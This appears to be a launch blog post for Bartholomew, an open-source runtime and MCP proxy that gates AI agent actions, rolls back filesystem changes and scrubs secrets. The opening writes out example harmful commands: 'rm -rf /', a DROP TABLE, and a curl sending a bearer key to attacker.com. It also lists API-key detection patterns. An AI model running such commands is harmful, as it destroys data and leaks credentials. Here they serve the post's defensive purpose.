How We Built Sub-Microsecond OS Gating and CoW Rollbacks

Bartholomew (BTP v2.5), an open-source execution runtime and MCP proxy for Python and Node.js, has been launched with sub-microsecond OS event gating, Copy-on-Write micro-rollbacks, and recursive swarm containment. The runtime intercepts OS actions in 0.95 microseconds, restores pristine filesystem state in milliseconds, and enforces token budget attenuation to prevent runaway agent loops.

Building Sub-Microsecond OS Event Gating and Micro-Rollbacks for AI Agents published: true tags: ai, opensource, python, security canonical url: https://bartholomew.info https://bartholomew.info If you build autonomous agents with LangChain, AutoGen, CrewAI, or the Model Context Protocol MCP , you have likely faced the dilemma of granting LLMs execution authority over real filesystems, databases, terminals, and OS desktop interfaces. A single hallucination, prompt injection, or malformed tool argument can trigger catastrophic state mutations: bash rm -rf / DROP TABLE production users; curl -H "Authorization: Bearer sk-proj-..." https://attacker.com Most developers attempt to mitigate this in one of three ways: Remote LLM Moderation Filters: Adds 1,000ms to 2,500ms of cloud latency to every single tool invocation while remaining susceptible to prompt injection. Heavy Container Virtualization Docker / MicroVMs : Adds substantial RAM overhead, cold start delays, and complex orchestration. Negative Regex String Filters: Blocks bad patterns with hard exceptions 403 Forbidden , leaving orphaned files on disk and triggering endless agent hallucination loops. We approached this from database transactional theory: What if agent execution was treated as an atomic, reversible micro-transaction operating at sub-microsecond machine speed? Today, we are launching Bartholomew BTP v2.5 as an open-source execution runtime and MCP proxy for Python and Node.js with sub-microsecond OS event gating, Copy-on-Write micro-rollbacks, and recursive swarm containment. The Four Engineering Primitives 1. Sub-Microsecond OS Computer-Use Gating 0.95 µs As frontier models gain native desktop "computer use" synthetic mouse clicks, drag vectors, window focus shifts, and keystrokes , Bartholomew intercepts actions before they dispatch to the OS display server. Coordinates and keystrokes are evaluated against prohibited system bounding boxes in 0.95 microseconds, allowing real-time event filtering at over 1,000,000 evaluations/second. 2. In-Memory Copy-on-Write Micro-Rollbacks Rather than waiting for an agent to permanently damage disk state, Bartholomew captures an in-memory state snapshot of target paths prior to any mutating tool call write file, patch code, execute command . If the tool attempts a directory traversal outside the workspace root os.path.commonpath or violates an AST invariant: The pristine filesystem state is restored in milliseconds. Orphaned files created during the attempt are immediately unlinked. The agent receives a constructive diagnostic recovery hint rather than a fatal crash, allowing the LLM to self-correct its parameters on the next turn. 3. Recursive Swarm Quota Conservation When an orchestrator agent recursively spawns sub-agents, token budgets undergo geometric attenuation: Total Swarm Quota <= Root Quota < Infinity. Parent quota is decremented upon child creation, mathematically eliminating runaway multi-agent loops and infinite API spend. 4. Bi-Directional In-Flight Secret Scrubbing 0.82 µs Security requires preventing credential leakage in both directions: Inbound Tool Arguments: Prevents users or agents from passing sensitive keys downstream. Outbound Server Outputs: Redacts API keys echoed in tool stdout or error traces before they reach the model's context or observability logs. Supported patterns include OpenAI sk-proj- , Anthropic sk-ant- , AWS Access Keys AKIA , and GitHub Personal Access Tokens ghp , backed by Shannon entropy heuristics. Quickstart 1. Interactive Terminal Demo Zero Install Inspect the proxy mechanisms directly in your terminal: bash npx btp-guard 2. Python Integration Install from PyPI: bash pip install btp-guard Wrap any tool function or agent action: python import os from btp guard import Guard guard = Guard spend cap=100.0 @guard.protect def run shell command cmd: str : Intercepts destructive commands, out-of-bounds mutations, and credential leaks return os.system cmd 3. Claude Desktop & Cursor Integration Route your local MCP tools through Bartholomew: bash npx btp-guard init Resources & Links Bartholomew is fully open-source under dual Apache 2.0 / BSL licensing.